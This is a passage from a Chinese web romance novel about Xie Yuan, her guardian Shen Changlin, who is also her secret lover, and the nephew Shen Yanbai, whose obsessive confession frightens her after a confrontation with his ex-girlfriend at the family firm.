他是很善言辞的人,上至王公贵族,下至三教九流,都能交流顺畅。
可是在两人的感情之事上,每每先开始坦白、试着沟通的,总是寡言少语的谢沅。
她很不善言辞,每次开口前,都要组织好久的话语。
谢沅胆子又小,总是怕惹沈长凛不高兴、碰到他的逆鳞。
但现在主动言语的也是她。
沈长凛心中有种说不出的感觉,当初用手段将谢沅掠夺过来时,他就再也没有想过放手。
同时,他也明白,他可能要接受一个事实。
那就是谢沅的心里,可能永远都不会有他。
所以很多时候,沈长凛宁愿永远不将那道朦胧的面纱给撕开,也要把谢沅给留在身边。
连爱她这件事,都不敢令她知道。
怕她会害怕,更怕她觉得他欲念病态、令人作呕。
可是他放在心尖尖上疼宠溺爱的这个小孩子,本来就是一个很好很好的孩子。
旁人对她好一分,她都要还十分的。
沈长凛压抑着情绪,却还是忍不住把谢沅抱在了怀里亲。
他的声音微哑:“叔叔也有错,沅沅,我……之前总是不考虑你的想法,总是在强迫你。”
沈长凛不后悔当初做过的事,但他也会为此感到抱歉。
谢沅却没有丝缕抗拒的意思,她坐在沈长凛的腿上,手臂搭在他的肩上。
夜间的凉风轻轻吹进来,将她汗湿的发丝吹起,露出那张柔美雪白的面庞。
谢沅的唇边带着浅浅的笑意,未等沈长凛说完,便轻轻地说道:“没关系,叔叔,你以后告诉我就好了。”
她的樱唇被吻得嫣红。
像是熟透樱桃的色泽。
原本沉默寡言的姑娘在爱意的滋养下,变得越来越开朗了,宛若渐趋盛放的花朵,蛊人心魄。
沈长凛温柔地抱起谢沅,轻声说道:“好。”
九月多的天气已经不再燥热,夜风柔柔的,吹了一整晚。
谢沅第二天睡醒时,都没感觉到太累,再有三日,沈长凛就要出国了,除却他工作的时候,她一直都陪在他的身边。
沈宴白这些天都在宁城。
没人打扰,也不必有所顾忌。
谢沅的三餐都是坐在沈长凛腿上用完的,她被吻得晕晕乎乎的,感觉都快要缺氧了。
临到周二沈长凛走,她的思绪才没那么紊乱。
行程很早,谢沅昨天上了一天课,晚上又睡得很迟,沈长凛没让她送,但他走时她突然醒了。
从来都不会闹、不会任性的孩子,拉着他的手,眼泪突然就掉下来了。
沈长凛没有办法,只好给谢沅套了件白色外衣,然后抱着她上车,带她一起去机场。
他其实不会去太久,不过二十多天罢了。
之前不过是怕谢沅跟去瀛洲那次一样,玩得乐不思蜀,方才那样跟她讲的。
沈长凛轻叹一声,看向谢沅低头垂泪的模样,忽然有些后悔,早知道还不如什么都不跟她说,至少孩子不会哭这么凶。
从家里到在贵宾室候机这一路上,谢沅都在努力强忍泪意。
她困倦得厉害,可早上一觉察到沈长凛要离开,一下子就清醒过来了。
谢沅的脾气非常好,却也气得不轻。
当时她的眼泪瞬间就掉下来了,抽咽着说道:“你骗我,你说十点才走的。”
是十点走。十点飞机起飞。
沈长凛薄唇微抿,他在这世上最疼的就是谢沅,最怕见到的也是她的眼泪,床笫之间除外。
她一开始哭,他便什么都答应。
沈长凛甚至觉得,如果谢沅哭得再凶点,他能带着她出国。
但她一直在强忍泪水,想让自己看起来像个成熟的大孩子一些。
在家里时还知道闹着要送他,怎么就不知道再闹一闹,让他带着一起走呢?
沈长凛抱着谢沅,她哭着说道:“您要记得给我发消息。”
“嗯,我一定记得,”他吻了吻她的额头,“还会记得给沅沅打电话、带伴手礼。”
到登机时,谢沅的泪水才渐渐止住。
“那我走了,叔叔。”她的声音还带着哭腔,“下午……下午我还有课。”
沈长凛低笑出声,轻声说道:“好,那我们二十五天后再见,沅沅。”
还好没跟谢沅说要一起去,不然就打扰孩子学习了。
他和她挥手告别,色泽稍浅的眼眸里,尽是温和的情绪。
谢沅周二的课也不少,下午和晚上都是课,她没有时间再难过,晚间上完课从外面回来,独自坐在岛台边用晚餐时,她才难过地意识到沈长凛真的离开了。
他们好久没有分别这么久-
谢沅到第三天时,才从分别的情绪中缓过来。
她这学期的课虽然不多,但还有不少活动要参加,之前跟朋友们参加的那个比赛已经顺利结束了。
可除了那个比赛外,仍然有其他几个项目要做。
有的在中期,有的快要结项,都还得继续做。
谢沅不想在家里待着,每天都在图书馆泡着,沈长凛这次出远门,哪里放心她一个人待着?
于是陈秘书又过来陪着她了。
谢沅写论文很认真,一坐能在图书馆坐一整天。
因为时差差很多,沈长凛最近又很忙,她只能在晚上时跟他通一段电话。
好在三日过去以后,分别的离愁别绪总算是退却了。
谢沅背着单肩包,包里只放了一个便携式的电脑,她踩着图书馆闭馆的时间线,从自修室里面出来。
陈秘书带她去用晚餐。
之前差些被岑家纨绔绑架后,沈长凛不再允谢沅晚上独自在外面用晚餐。
好在现今又陈秘书陪着,她才能继续在外面乱吃。
谢沅捧着奶茶,一边咬里面的椰果,一边忍不住地感到放松。
叔叔不在家,也是有好处的。
谢沅不爱吃西餐,但喜欢吃意面,她用叉子将肉酱的意面卷起,然后又小口地咬着吃掉。
她一边吃,一边跟陈秘书聊天:“陈叔叔,我和同学明天要去明升,你不用跟着我了。”
他们几人开学后事情都多,只能趁着周末去做调研。
人是之前已经联系过、早就约好的。
地点又是在沈氏总部。
不过陈秘书身份特殊,常年跟在沈长凛的身边,要是让人认出来他是谁,反倒不太方便。
谢沅完全没有想到,她这个大小姐,其实很容易被高层认出来。
这件事情,她早先就跟沈长凛讲过。
自从谢沅上回跟李特助说过,就偷偷去露营后,沈长凛对这方面的管控更严格了。
所有的事都要跟他直接报备。
他同意以后,她才能做。
所以跟谢沅常看沈长凛的行程表一样,她也把自己要做的事、陪同的人、具体的时间地点全都发给他,免得到时候他不同意。
陈秘书也知道,他还是贴心地说道:“要我和那边再联系一下吗?”
谢沅轻轻摇摇头,说道:“不用,陈叔叔,我们之前已经约好了。”
余温很擅长做这些事,每次这种事情都是她来沟通、联系。
谢沅隐约听说过余温父亲很厉害,不过余温在这个行业里,真的也非常的天赋异禀。
余温早先就把要采访的内容和具体事项全写好了。
哪怕谢沅照着念,都不会出岔子。
所以这也是余温放心谢沅过去的原因,再不济还有冯茜在,总归是不会出问题的。
她暑假就已经在实习,现在更是越来越忙,周末都抽不出来时间了。
谢沅捧着奶茶,跟着陈秘书一起,又把具体的事项看了一遍,然后才上车回家。
翌日一早,她就起来准备过去。
谢沅和冯茜早先就约过地点,两个人到的时间差不多。
沈氏的大楼高耸入云,谢沅来的次数不多,但不知道,为什么沈长凛身边的人,几乎就没有不认得她的人。
那位经理的时间安排很满,只给了她们半个小时的时间。
不过这就已经很难得了。
或许是因为提前打过招呼,两人进来得很顺利,谢沅只去过沈长凛那边,还是第一次到明升。
她拍了几张照片,然后发给沈长凛,这个时间点,他那边还是深夜。
谢沅没有等他回复,随着冯茜一起上去。
到达楼层后,她看向外边的风景,九月的晴天湛蓝如洗,日光明媚,是个很好的好天气。
谢沅穿着小西装和半身裙,乌发也束了起来。
她看着玻璃窗里自己的影子,轻轻眨了眨眼睛。
但两人到地方时,还是被人拦了一下:“两位是来见王总的吗?请稍等一下,王总还在开会。”
她的声音急急匆匆,带着些细微的躁意。
谢沅微怔了片刻,在那人抬起头时,方才发觉她是明愿。
她其实没有怎么见过明愿,明愿比谢沅高一届,她也是风云人物,在学校里很少会碰到。
沈宴白高中毕业后,将明愿带到家里的那段时间,谢沅才和她打过几次照面。
接着就是三年未见。
那天在酒店里,谢沅走得很急,只匆匆瞥了明愿一眼。
她愣神了片刻,才认出明愿,不过明愿认出谢沅就快得多,明愿微微一笑,轻声说道:“真巧,原来跟王总有约的人是你们呀,谢小姐。”
明愿的衣着很得体,容色虽有少许憔悴,也依然是落落大方的。
她不知道经历了什么。
谢沅总觉得过去三年,明愿没有旧时那般明媚了。
虽然明愿还是很完美,连额前的发丝都梳得恰到好处。
谢沅轻轻点头,说道:“嗯,我们和王总约的时间是九点半到十点。”
“那要麻烦你们稍等一会儿了,”明愿柔声说道,“王总那边的会议,可能还要一段时间才能结束。”
谢沅天真地点了点头。
她坐在外间的长沙发上,和冯茜一起看之前写的论文,转眼就到了十点。
谢沅早上没有用太多,她和冯茜订了十一点的餐厅,原本想着十点结束后,先去玩再一起用午餐的。
她看了看时间,心情有一点点急。
但转念一想,这位王总答应下来就已经是很难得的事。
毕竟她们实在不是什么正经的采访者,落在这些日理万机的大老板眼里,就是小孩子闹着玩。
沈长凛也经常这样忙。
谢沅没有多想,只是又问了问明愿。
明愿来到外边的茶水间煮咖啡,莞尔一笑:“还没结束呢,你们要是急的话,可以把信息留一下,等结束了我再给你们打电话。”
谢沅紧忙摆手,说道:“不用不用,谢谢您。”
她和读书时没什么区别,还是那样的少言礼貌,对着生人也很客气。
带着一种令人没由来厌烦的单纯和懵懂。
明愿一边煮咖啡,一边抬眼看谢沅:“大小姐怕什么?要不你和你哥哥打一通电话,让王总先处理你们的事也成。”
她是个温婉持重的人,气势却比以前要凌厉一些。
谢沅抿了抿唇,低下眼眸:“谢谢您的建议,但我哥哥他最近工作忙,就不用这种小事打扰他了。”
上次谈话被撞破时,明愿和沈宴白是在一起的。
只要一想到那个场景,谢沅就会觉得难堪和无措。
如果可以的话,她真想把他们两个都从她的记忆里清除出去。
明愿轻轻笑了一下,说道:“你哥哥还不太喜欢你吗?”
明愿的目光意味深长,谢沅却没有意识到,她只是本能地觉察到了少许的敌意。
谢沅没说话,明愿也没什么反应。
明愿很自然地一笑,继续又说道:“虽然不太了解你们家里的事,但是谢大小姐,我觉得你这个年龄,早就可以搬出沈家了。”
这话语就更令人不舒服了。
谢沅的脾气很好,她的眉头也皱了起来。
“我跟沈宴白没有关系,”她低声说道,“也永远不会有关系。”
明愿的眼神就更利了。
“没有关系?”她冷着声说道,“那你知不知道,如果没有你,我和宴白就不会分手。”
谢沅的脑中陡地一阵轰鸣。
她没听懂明愿在说什么。
“你说什么?”谢沅的话音刚刚落下,她便和站在外间的沈宴白对上了视线,与此同时,还有那位急得满头大汗的王总。
王总满脸急色,看向明愿时的目光带着昭然的怒火。
但他按捺住了怒意,脸上堆着笑,紧忙看向谢沅:“不好意思,谢小姐,我这助理是实习生,错看了我这边的时间安排,让你久等了。”
饶是谢沅迟钝,也立刻明白过来这里面的弯弯绕绕。
她错愕地看向明愿,满脸都是难以置信。
沈宴白的脸色要比他们都更难看些,他像是刚刚被人训斥过一顿,执着手机递给谢沅:“叔叔让你接电话。”
沈长凛那边还是深夜。
第62章
谢沅站在窗边,额前隐约覆着一层薄汗。
她执着手机的指节柔白,莹润得像是在发光。
隔了一段距离,沈宴白听得不是很清晰,只是能够感觉到谢沅的紧张。
她好像有些不好意思,好像又有些想要反抗男人过分的保护欲和控制欲,但她从来不会抗拒沈长凛这个人。
小姑娘的声音压得低低的。
若是不熟悉的人望见她这幅神情,只怕会以为她在与男友吵架。
谢沅很不好意思叫人等着,尤其是用的还是旁人的手机,她好像有几次都想挂断,却到底没能成功。
反倒是被电话那头的男人给哄了过去。
谢沅的脸庞发烫,压低声说道:“好,好,我记住了,叔叔。”
那张柔美的面容泛着薄粉,樱唇也微抿着,没由来地带着绮媚。
沈宴白刚刚才从宁城那边回来。
他最近的事情出奇得多,连家都没归,便匆匆来了明升这边。
待客厅里的人并不少,沈宴白跟助理继续讲事情,视线却没有一刻从谢沅身上离开。
她什么都没做,只是站在窗边跟沈长凛打电话。
留给他的,也唯有半张侧颜。
但沈宴白的目光,就是无法从谢沅身上移开。
除却他这边的人以外,还有王经理身边的人和谢沅的同学。
她今天过来是要做正事的,沈宴白让他们先开始做访谈,免得沈长凛的电话通得太久,到十二点还结束不了,又饿着谢沅。
整个待客厅里,只有一个人是无事的。
明愿红着眼,容色苍白,她的身份特殊。
沈宴白跟明愿在一起时没有敛着,她自己也没有藏着遮着,别说是在明升内部,就是圈外的一些人也听过他们间的旧事。
天之骄子和优秀卓越的灰姑娘,本来就是话题的焦点。
更何况,当年沈宴白曾那样张扬地爱过明愿。
破镜重圆的故事,谁不爱听?普通女孩嫁入豪门的梦,谁不爱做?
大少爷的旧情人颇多,真爱却没几个。
谁知道两人会不会有朝一日重归旧好?所以没谁敢乱来。
明愿进明升进得轻轻松松,做助理也做得轻轻松松,直到今天遇到谢沅,才算是碰上铁板。
更准确的说,是遇到沈长凛。
沈长凛是不允许谢沅的生命里有意外的,更不容许她受到委屈。
就像之前她参加比赛,他不会插手,不会帮她作弊、走捷径,但他会保证比赛的公平,保证她不会受到不公。
今天的事原本很简单。
这位王经理也不是欺负人的主儿,他是燕大出身,之前就跟燕大对接得多,常接这种小采访。
偶尔燕大邀请,也会直接过去。
他不知道今次来的是大小姐,还是有做过准备,但小鬼难缠。
沈长凛之前跟沈宴白交代过这桩事,沈宴白还想着等谢沅的事结束后,逮住她一起吃个饭。
但没想到,他就开个会的功夫,这边便又出事了。
一边是曾经深爱过的旧情人,一边是还在闹不快的家里妹妹。
麻烦全都撞到一起了。
沈宴白最厌烦的就是纠缠不休的人,无论曾经多喜欢,只要分手后对方稍有再牵扯的端倪,他就会再无兴致。
若是早知道明愿在明升,他无论如何都不会让谢沅撞见她的。
沈宴白把事情跟助理交代完,手边的事便没什么了。
他坐在长沙发上,双腿交叠,视线轻轻地落在谢沅的身上。
她刚才的神情还有些乱,这会儿脸庞上又露出笑容了,嗓音也娇娇的,柔柔地唤“叔叔。”
沈长凛对谢沅的管教向来很严格。
但他其实也很哄谢沅。
读中学时,沈宴白和谢沅就经常闹不愉快,主要是他单方面地欺负谢沅。
沈长凛会责斥沈宴白,但他其实没多在乎沈宴白说了什么,他更在乎的是谢沅的心情。
那么疼,那么宠。
就是亲侄女也很难做到这个地步。
可是沈长凛做到了。
谢沅是个很天真的孩子,别人对她好,她一定是要还回去的。
钻营算计的人会笑她蠢笨,但在红尘中滚打过的人,反倒会愿意呵护这样的天真。
沈长凛将谢沅当作花来爱护,就这样一年又一年,并非是因为她的存在多有价值,而是因为他也是这样的人。
只不过,沈长凛不对外人如此,仅对亲人、家里人会这样。
当初沈家风雨飘摇,沈夫人又匆匆病故。
沈家虽然是沈长凛的,但他其实没必要接手那个烂摊子,更没必要尽心竭力这么多年。
尤其是没有必要将纨绔兄长桀骜不驯的遗子,也好好地养在身边。
沈宴白的身份看似尊贵,实则孑然一身。
他的一切都是沈长凛给的,沈长凛是他仅有的亲人,也是这世上最后一个会真心待他的人。
当最初的情绪退潮后,沈宴白反倒冷静了许多。
有句话是这么说的,爱欲如若执炬,倘若逆风而行,必有烧手之患。
在宁城的这些天,沈宴白的心里反复在想他、沈长凛和谢沅的事。
沈长凛和谢沅的关系太近了,他们叔侄情深,可到底是没有血缘的,沈长凛于情爱之事上冷淡,这么些年,也没听说他和哪个女人有过交集。
两人身份差又那么大。
实在是没可能。
然后就是沈宴白和谢沅的事,沉静下来后,他意识到当初的做法有多荒唐。
无论是多年前,还在前不久。
但他现在对谢沅到底是个什么心思,说实话,他自己都没能想清楚。
沈宴白只知道,他看不得沈长凛将谢沅再嫁给旁人了。
他更做不出来把谢沅送到旁人怀里的事。
沈宴白坐在长沙发上,眸色越来越晦暗,他看着谢沅的笑颜,忽然很想知道她跟沈长凛在说什么。
她在沈长凛的跟前,好像总是要格外放松、高兴一些。
连跟他通电话时,脸上也时常带着笑颜。
沈宴白所有的目光都放在了谢沅的身上,直到她打完电话回来,他才留意到明愿无声含泪地看了他多久-
跟沈长凛通完电话后,时间已经不早了。
谢沅几次都想要跟沈长凛说再见,他却不允,声音也冷冷淡淡的:“让他们等着。”
自家门口也能出岔子,还是早就吩咐过的事。
沈长凛的话音带着暗怒,谢沅也不敢再多言。
但意识到她有些怕后,他又开始哄她,谢沅的脸庞都要被他给哄红了。
好不容易才等到沈长凛挂电话。
待客厅里的众人还真都在原处等着,连沈宴白也坐在长沙发上。
谢沅把手机还给他,因是在外面,她放轻声音,客客气气地说道:“谢谢哥哥,麻烦你了。”
她的同学已经访谈完了。
今天事发突然,沈宴白寻了个借口,令人提前走了,免得风声走出去。
毕竟谢沅不喜欢让旁人知道她的身份。
“不麻烦,”沈宴白站起身,低声说道,“叔叔本来交代过的,抱歉,是我没有联络好。”
他很自然地背上了谢沅放在沙发上的小包。
“已经快十二点了,”沈宴白面不改色地说道,“叔叔刚才吩咐,中午让你在这边用餐。”
“我这几天胃不舒服,”他轻声说道,“咱们去外面吃粤菜,行不行?”
沈宴白说谎不打草稿,自然得很。
他走之前,谢沅跟他生过气,对他的戒备心也很重。
但多日不见,沈宴白的声音又这样温和亲切,还说是沈长凛吩咐的,谢沅的戒心便降低了许多。
说到底,她今天是麻烦了沈宴白的。
如果不是她们过来,原本没有今天这桩事的,她还平白让沈宴白挨了一顿沈长凛的骂。
谢沅点点头,说道:“好,哥哥,我吃什么都行。”
她直接就跟着沈宴白坐专属电梯走了。
到最后也没留意明愿是什么容色。
王经理跟冯茜聊了许久,还帮着改进了一下大框架,他的笑容和蔼温善,但回来再见到明愿后,他的脸色就没那般好看了。
他在明升多年,虽然算不上高层,但也是有身份的人。
小心谨慎做事这么多年,差一点点就在阴沟里翻了车。
明愿的眼眶红着,眼里还含着泪,较好的面容透着失意和落寞,瞧着楚楚可怜。
王经理却还是劈头盖脸地将她斥责了一顿:“你是疯了吗?那是咱们沈氏集团的大小姐,身份地位比温氏长公主还贵重!”
“沈副总的事,都没有她的事要紧,”他恨铁不成钢,“而且就算她们只是普通学生,也没必要难为人家。”
还以为真是小沈总多么珍重的爱人,瞧方才他的态度,恐怕根本不是那么回事。
也是。
小沈总是何等风流桀骜的人,有时一部电影里,都能有他三四个前女友。
王经理没有再多说,冷声扔下最后一句:“你自己好好想一想。”
明愿失魂落魄,却是没能听进去他的话,她脑中反复回放的,还是方才的情景。
谢沅在外面打电话,待客厅里也安安静静的。
刚刚就连沈宴白跟助理说话,都压着声音。
所有人都小心翼翼的。
明愿一直都知道沈宴白厌烦家中寄养的妹妹,每次谈起谢沅,他的脸上也总带着不愉。
可是从没有人告诉过她,沈家那一位真正的话事人将谢沅是放在心尖尖上疼的。
被掌权者娇宠溺爱是什么感觉,明愿再清楚不过了。
三年前沈宴白也恨不得将一切都赠予她,可是后来他们分开后,他将一切的深情都收回了。
两人的阶级差太大。
明愿后来甚至想见沈宴白一面都再无可能。
她只能和那些平常人一样,透过社交平台和新闻来了解他的消息。
每次看沈宴白有新女友,看他评论里的年轻女孩唤他“老公”、“男朋友”,明愿都想要发疯,如果当年两人没有分手,她现在应当已经嫁入沈家才对。
但好在老天有眼。
沈宴白还没有回国多久,他们就反复地相遇。
而且他最近都是单身。
明愿无法克制地开始希冀,沈宴白是不是因为想要跟她复合,所以身边才没什么人?
可是现实狠狠地打了她的脸。
无论是那天云中校庆,还是方才,沈宴白眼里的意味都足够明显。
他真的爱上他的妹妹了。
那个他厌烦多年的、寄人篱下的柔弱妹妹。
和沈宴白在一起时,明愿最怕的就是这件事,跟沈宴白分手时,她还很骄傲决绝:“我那天都看见你抱她上楼了,如果你不让他搬出去,我们就分开吧。”
“对不起,我接受不了这种桥段。”她客气地说道,“没有血缘的妹妹,而且你们还住在一起。”
沈宴白那时觉得匪夷所思。
“你开什么玩笑?”他眼里尽是难以置信,“她大半夜在楼下睡着了,我不抱她上去,谁抱她上去?”
沈宴白拧着眉,说道:“难道还为了这种事,深更半夜地把阿姨叫过来一趟吗?”
“而且我叔叔也经常这样。”他解释道,“这回是他不在家,我才抱谢沅上去的。”
明愿只是问道:“那你们不能彻底保持距离吗?”
沈宴白越说越不高兴,他冷下容色:“你不要无理取闹,我都多讨厌谢沅,就没人不知道。”
“我跟她什么都不会有。”他有些烦了,“而且她有未婚夫,就是我们家里的哥哥,等到她大学毕业就嫁过去。”
那时候明愿还很骄傲,沈宴白爱她,爱她爱到将豪门的一切恩宠都给到她一人头上。
他带她见圈内的朋友们,为她一掷千金。
将平凡的她,宠成了最骄傲明艳的大小姐。
所以明愿那时的确是飘飘然了,她毫不客气地甩了沈宴白,然后在他挽回时变本加厉。
可是爱意消退后,她再也没有等来过他的一条消息。
她掉着泪发给他的消息,也全都石沉大海。
现在噩梦成真,沈宴白真的爱上谢沅了,明愿是被沈宴白爱过的,所以她一眼就能看出,他这回是认真的。
比对她还要更认真。
当年就是因为谢沅,现在还是因为谢沅。
这叫她怎么能不怨恨?
明愿的心情有些崩溃,她正准备从待客厅离开时,方才摔门而走的王经理又回来了。
他的脸上带着微笑,看起来颇为客气。
明愿心中一喜,还以为沈宴白不过是表面做做样子,心里多少还是挂念她的。
他那么风流又身份尊贵的人,其实三心二意也很正常。
当初是她太年少稚嫩了,平白浪费了人生中的一大机缘,原以为离开他还会有海阔天地。
没想到读书时的那场恋情,或许就是此生最后的高峰。
明愿咬了下唇,暗下决心。
这一次她绝对不要再跟沈宴白拿乔了。
他瞧着喜欢有脾气的女孩,其实真正享受的不还是她们私下里的温柔小意呢?
但对上王经理的面孔时,明愿的脸上还是带上了少许的傲气,她笑了一下,矜持地说道:“王总您还有什么事吗?”
他应该继续敬着她、奉承她才对。
却不想王经理的脸上,却是松了口气的神色:“你今天的疏漏太大,方才是我们沈总亲自交代的,去财务那边一趟吧。”
明愿矜傲的容色瞬时垮了下来。
她的眼中尽是难以置信,愕然地说道:“什么?”-
谢沅吃不惯滨城的菜,总觉得没有味道,她很小的时候在那边待过,就记得热和台风了。
一年四季,夏夏夏夏。
沈宴白胃不好,他喝酒虽然很凶,但用餐不挑,清汤寡水也能用得面不改色。
谢沅不太会烫碗,沈宴白索性接过去,帮她将餐具处理好。
两人有段时间没见了,开学以后,暑假的生活如谢沅来说,简直遥远得恍若隔世。
沈宴白一天天还都在外面。
她当时跟他生气,在网路上看东西时,把他相关的词条也全屏蔽了,然后就更了解不到他的事了。
多时未见,颇有些陌生感。
沈宴白唇边含笑,语调也温柔下来:“今天的事是哥哥没有处理好,我早上才从宁城回来,那时候有点昏头。”
谢沅还没被沈宴白这样温和地对待过。
她心里别扭,但还是客气地说道:“没关系,哥哥,今天是我们打扰你了。”
他们没去包间,坐在大厅靠窗的位置。
虽然嘈杂,谢沅却没那般紧张,而且餐点上得很快,她才喝了一点水,各种餐碟就摆上来了。
沈宴白轻声问道:“这学期还顺利吗?”
谢沅用小勺子吃云吞,腮帮鼓鼓的。
她跟沈长凛经常这么对话,跟秦老先生他们也常聊这种话题,但跟沈宴白平和的沟通,真的不太多。
谢沅强忍着别扭,一边用餐,一边跟他继续对话:“顺利,哥哥。”
她用餐很慢,今天却是快快的。
那盅煲得很香的汤,谢沅也没有喝多少。
她细声说道:“哥哥,您继续忙吧,我不打扰您了。”
有司机来接送谢沅,但沈宴白却跟她一起站直身子,他轻声说道:“没事,叔叔还吩咐了,让我亲自送你回去。”
谢沅还是觉得别扭。
听到是沈长凛说的,她还是应了下来:“好,哥哥。”
沈宴白亲自开的车,谢沅坐在副驾,她抬眸看向窗外,想起不久前和沈宴白的那次同乘。
那天下着大雨,他教训她,让她嫁给秦承月。
后来是沈长凛打来电话,沈宴白才没多言。
谢沅窝在车里,她没穿外套,车里的温度稍低有些冷意。
她没有表露出来,沈宴白却还是觉察了,他把车后方的薄毯拿给她,轻声说道:“还冷的话,跟我说一声。”
谢沅披着薄毯,轻轻地“嗯”了一声。
两人很久没有这样和平地相处过。
沈宴白抿了抿唇,视线却没向谢沅身上再移,许久轿车停在一个漫长的红灯前时,他才低声开口:“沅沅,之前的事,抱歉。”
桀骜如他,为她低下了头颅。
谢沅神情微怔,她还没开口,沈宴白便又说道:“哥哥……以前不喜欢你,说话不好听,后来对你也不够好。”
他的眼里没有掠夺的意味。
但谢沅还是不想去面对沈宴白,她低声打断他:“没关系,哥哥。”
她的额前透着薄汗,神情也有些紧绷。
“我不怪你,”谢沅低下眼眸,“哥哥也不用自责。”
“只要哥哥以后不再打扰我,我们还是兄妹,不会有任何改变。”她声音很轻,却带着点挣扎。
偏执的人,是不便于触怒的。
特别是沈宴白的脾气还不那么好。
他的眉眼低垂,声音也很低,透着很淡的哑意:“可是如果哥哥说,哥哥这一回是认真的呢?”
沈宴白是不是认真的,谢沅不知道。
她只知道,他眼里的偏执之意更深了。
不对……
上次霍阳跟她讲过一件旧事,当时谢沅和秦承月的事还没断,有一次他们在一起玩。
谢沅给秦承月打了电话,他起身去接,沈宴白那时候的眼神就不对,将刚巧瞥见的小庭吓了一跳。
后来他通宵喝酒,也是故意让谢沅去接的。
沈宴白对她动心念,或许还真的不是一朝一夕。
但一想到他或许是早有预谋,谢沅便更忍不住怕了。
“那也不成,哥哥!”她的声音抬高,“我现在已经有很爱的人了,我很爱他,他也很爱我,而且我是愿意嫁给他的。”
谢沅低着眸,说道:“这件事叔叔也同意了的。”
沈宴白的容色还是没变。
他像是淋了雨似的,桀骜的神情也带着些落寞。
红灯结束,轿车再度启动。
“沅沅,你不用怕哥哥的。”沈宴白低声说道,“如果想拒绝我,直接说就行,不用费心编造出一个人。”
他轻轻地看了谢沅一眼:“你跟霍阳的事没成,不是吗?”
谢沅眼眸睁大。
她实在是没有想到,沈宴白都去宁城忙了多日,还能查出她跟霍阳的事不是真的。
“真的不是,哥哥。”谢沅强作镇定,“我……我真的有爱的人了,等过段时间,我们就会公开。”
轿车驶得平稳,但沈家还是很快就要到了。
听到这话,沈宴白的脾气到底是没有压住。
他低声说道:“公开?你要从哪里拉个假人到我面前吗?”
轿车停了下来。
外面是晴朗的天空,两人之间的对峙情绪却越来越重,车里仿佛是阴云密布,偶有雷声交错而来。
谢沅的脾气也没能压住。
她烦闷得不行,声音里也带着焦躁:“我不是说过段时间才公开吗?到时候你就知道了。”
谢沅的手指抚在安全带上。
封闭空间会让惧怕和紧绷的情绪加重,她的掌心沁着汗,解开安全带就想要下车。
沈宴白却扣住了她的手臂,他有些急:“沅沅,我们好好谈一谈,行不行?”
“你是不是还觉得哥哥是想乱来?”他压低声说道,“倘若我说我这一次是认真的呢,秦承月能娶你,霍阳能娶你,我也能娶你。”
沈宴白扣住谢沅小臂时,她都没有那样慌。
听到他这句话,她的瞳孔都在震动。
谢沅下意识地错开沈宴白的视线,声音也带着颤意:“你是不是疯了?”
沈宴白低垂眉眼,难得有些驯良:“哥哥没疯。”
他越这样说,谢沅越觉得他疯了。
“哥哥爱你呀,沅沅,”沈宴白的神情带着些疯感,“你喜欢哥哥这么多年,肯定吃了很多苦吧,你先给哥哥一个追你的机会也可以。”
他真的不是正常人。
谢沅的身躯绷紧,沈宴白说爱她、想娶她,给她带来的恐惧,比他想要强掠她还要更深。
她都已经想好了,等到沈长凛回来,就把事情全都坦白给他。
可是谢沅从来没有想过,沈宴白的执念会这么深。
他明明是一个很风流、没有定数的人。
沈长凛能容忍她恋慕过沈宴白都不一定,更别说是跟沈宴白有这么深的牵扯。
沈宴白是沈长凛在这个世上,为数不多的血亲了。
谢沅知道沈长凛很爱她,可她不敢去赌那个可能。
他们之间的事好不容易才顺利起来,她怎么也没想到,这都快要结束了,还会突然出现这种事。
就好像快要拼好的积木。
突然被人给都打碎了。
“不可能!”谢沅几乎是哭叫着说道,“对哥哥来说,这只是一段感情而已,可是……可是你没有想过,对我来说,这意味着什么?”
她的胸腔剧烈地起伏着。
谢沅挣开沈宴白,她匆匆地下车,给温思瑜打电话:“喂,思瑜表姐,我能去你那边吗?”
她这哪里是想找人玩?分明是想要离家出走——
沈宴白夺过谢沅的手机,冷声说道:“没有你的事,别多管。”
谢沅气得不行,在他伸手过来时,重重地打了他的手臂一下,然后立刻把手机夺了回来。
她含着泪,带着哭腔说道:“你再这样,我要告诉叔叔。”
沈宴白抿了抿唇,低声说道:“别生气,沅沅,叔叔是不是跟你说过,无论遇到什么事,都不能离家出走?”
“你在家里好好待着,”他偏过身去,“我走。”
说完沈宴白还真的走了,他坐在车里,轻声说道:“我这几天都不会回来,但你要在家里好好待着,听见没有?”
他拨了拨额前的头发,到底是选择了退让。
沈宴白越来越像狗了,他时常发疯,又时常要装作正常人,可一闻嗅到骨头,就霎时维持不住。
谢沅没有理沈宴白,扭过头便离开了,她的眼里还有泪水。
她抬起手臂的刹那,沈宴白心里恍然一痛,但谢沅没有回头。
她从小就怕狗,现在更怕了-
谢沅担惊受怕了好几天,她每次回房时,都要将门反锁得紧紧的,上完课回家,第一件事也是先问沈宴白回来没有。
好在他虽然很坏,但没有在这件事上再骗她。
谢沅每天都要跟沈长凛发消息、讲电话,盼着他能尽快回来。
他轻声笑道:“很快就回来了。”
“不过等叔叔回来以后,”沈长凛声音微哑,“沅沅不可以再盼着我离开。”
谢沅当然不想沈长凛离开了。
她小鸡啄米般地点头,乖巧地应道:“我不会的,叔叔,我很想你。”
谢沅的声音软软的,话语也很诚实,一双水眸亮亮的,让人瞧着心也快化了。
沈长凛唇角微扬,轻声说道:“叔叔也很想你。”
他其实以前也常说这样的爱语,可是谢沅很迟钝,她那时一直没有发觉,叔叔说的是爱语。
就好像她一直不知道,沈长凛是爱着她的。
不过想到这里,谢沅忽然有些愣怔,说起来叔叔是什么时候爱上她的呢?
但很快就到了十一点。
沈长凛催谢沅去睡觉,他声音低柔:“该去睡了,沅沅。”
谢沅被迫挂断视频电话,前去睡觉,周末就是温思瑜的订婚宴,她觉得有些不可思议。
一转眼,思瑜表姐竟然真的要订婚了。
还是跟一个之前大家都不认得的人。
宴席是在周六的晚上,谢沅提前试过礼服,下午就将造型做好了,这次的宴席很盛大,草率不得。
她坐在岛台前,用餐叉吃水果和小蛋糕。
宴席不知道何时才结束,谢沅要穿礼服裙,没法吃太饱,但要是不吃又饿得慌。
她只能先吃点小点心。
蛋糕精致甘甜,就是真的很小。
好在最近一段时间都没什么太大的宴席了。
谢沅有低血糖,是真的不喜欢太大的宴席,每次过去参加,感觉都很累很累,要在家里睡好久才能休息过来。
她一边吃,一边跟沈长凛讲视频。
沈长凛开会通宵了,这会儿才刚结束,但谢沅看他的容色,总觉得他的状态比她还要好。
她穿着浅金色的礼服裙,长长的乌发盘了起来。
